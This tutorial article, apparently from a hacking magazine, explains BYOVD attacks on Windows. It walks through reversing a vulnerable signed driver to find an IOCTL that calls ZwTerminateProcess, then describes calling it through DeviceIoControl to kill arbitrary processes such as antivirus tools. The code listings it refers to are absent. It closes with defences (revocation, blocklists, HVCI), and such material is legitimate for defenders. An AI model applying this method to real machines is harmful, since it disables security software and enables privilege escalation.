Bring Your Own Vulnerable Driver! Meet BYOVD – one of the most dangerous attacks targeting Windows systems

In fact, the possibility to use a third-party driver for malicious purposes has long been known in certain circles, but until some point, this wasn’t so relevant. You can visit any hacker forum and find a bunch of alternative ways to bypass the Windows kernel integrity check and fool the KPP (Kernel Patch Protection) mechanism.

But Microsoft specialists were also aware of such tricks and eventually upgraded the kernel integrity control to a fairly high level, thus, kicking butts of nonstandard programming adepts… It was then that everyone remembered BYOVD because it’s much easier to implement this attack than to search for zero-days in the kernel integrity control mechanism.

BYOVD offers great opportunities: it disables antiviruses, enables local privilege escalation (LPE), and performs other interesting tricks depending on the driver under attack.

After all, the kernel has always been a coveted prize for hackers. Let’s figure out how this attack works.

Driver structure

First, you have to understand the driver structure in Windows and its operating principle. Similar to any other application, any driver has an entry point called DriverEntry; its prototype is shown below:

As you can see, two arguments are passed to the main driver function: DriverObject (a pointer to the DRIVER_OBJECT structure that contains information about the driver) and a pointer to the RegistryPath string containing the path to the driver file. The DRIVER_OBJECT structure looks like this:

To allow a user-mode application to communicate with a kernel-mode driver, a driver device is created using IoCreateDevice or WdmlibIoCreateDeviceSecure, and a symbolic link to it is created using IoCreateSymbolicLink.

Below is a piece of code from an actual driver where a symbolic link to it is created.

Now let’s find out how a user-mode application prompts the driver to perform an action.

Note the PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1] field in the DRIVER_OBJECT structure. This field represents an array of pointers to functions that are called by the driver under certain conditions (essentially, this is a list of actions performed by the driver).

The first thing that seems to be of interest is IRP_MJ_DEVICE_CONTROL: one of the IRP (I/O Request Packet) function codes in the MajorFunction array. It’s used to handle control requests to the driver device (e.g. reading and writing data). To make it clearer, below is an example of driver code initializing different IRP functions:

IOCTL requests are processed in a special function, DriverDispatch; below is its prototype (remember it; later it will be required to find this function in the disassembler):

Code that handles IOCTL requests to the driver implemented in the DriverDispatch function looks approximately like this:

In the above function, IOCTL_CUSTOM_COMMAND and IOCTL_ANOTHER_COMMAND are just definitions containing IOCTL numbers sent by the user app to the driver. Following requests from applications, functions will be executed in the driver with ring 0 priority. The switch-case construct in the DispatchDeviceControl function is of special interest because it contains numbers of IOCTL control requests.

Examining the driver

Now that you are familiar with the basic structure of the driver and understand how the driver interacts with the user mode, time has come for reverse engineering! Let’s load the driver under investigation to IDA Pro and examine its entry point.

This is a real-life driver vulnerable to BYOVD, and its start code can be slightly different from a simple driver model. To locate code sections where the device and symbolic link are created and where the MajorFunction array is initialized, let’s see where the DriverObject argument points (since it’s required for initialization operations). Success! This place is located next to the code that creates a symbolic link (although this isn’t always the case).

The string with memset initializes the MajorFunction array. If you go to the sub_140014890 function specified in the argument, you’ll see plenty of code.

The dispatching function can be located by its prototype (the one that I asked you to remember earlier): you simply trace where the argument containing IRP is passed. And inside this function, you can see initialization codes for various elements of MajorFunction.

IRP_MJ_DEVICE_CONTROL is of special interest: if you look at the sub_140018ff8 function, you’ll see in it various cases that implement IOCTL codes.

Now you have to examine each case, figure out what it does, and ultimately find something interesting and useful for your purposes. Take, for instance, a function that can terminate processes by the passed PID.

As can be seen from the code, this function terminates processes by calling ZwTerminateProcess. That’s exactly what you need! Remember the number of the IOCTL request that calls this function.

Coding

So, reversal engineering has borne fruit; time to write a tool that will exploit the tested driver and force it to terminate any process at your command. But first, you have to access the driver. To do this from the user mode, the DeviceIoControl function can be used; its prototype is as follows:

Note the hDevice parameter: it’s extracted from the dissembler at the time when the symbolic link is created. The dwIoControlCode parameter is the number of the case branch that contains the call to ZwTerminateProcess.

The code is very simple: using CreateFileA, you get the driver device descriptor by its reference found in the course of reversal; while a call to the DeviceIoControl function gives a direct instruction to the driver to perform the action specified in the IOCTL code (the dwIoControlCode argument). In this particular case, the instruction is to terminate a process by its ID. When this code executes, the driver will terminate the target process directly from the kernel by calling the ZwTerminateProcess function!

Protection

Of course, this technique isn’t a ‘silver bullet’, and a number of countermeasures have been developed to minimize risks posed by BYOVD:

• revoke the driver signing certificate;
• blacklist the driver; and 
• virtualization-based security (VBS) and hypervisor-protected code integrity (HVCI).

Let’s briefly go through this list. Certificate revocation renders the signing certificate null and void, and the driver is treated as unsigned. The blacklist contains checksums and fingerprints of drivers that were used in attacks. Virtualization-based Kernel isolation (VBS, including its component HVCI) prevents malicious actions that could be performed by drivers that aren’t yet blacklisted yet, but are already used in attacks. The virtualization system acts as root of trust and assumes that the kernel can be compromised at any time.

Together, all these protective measures can effectively prevent BYOVD attacks. Too bad, some users deliberately disable them (e.g. to improve performance).

Conclusions

Now you are familiar with techniques and tools used by some of the most notorious hacker groups; as the old saying goes, forewarned is forearmed. At least, you won’t disable Windows kernel protection in your system in an attempt to boost its performance by some 10%!

Let the Force be with you!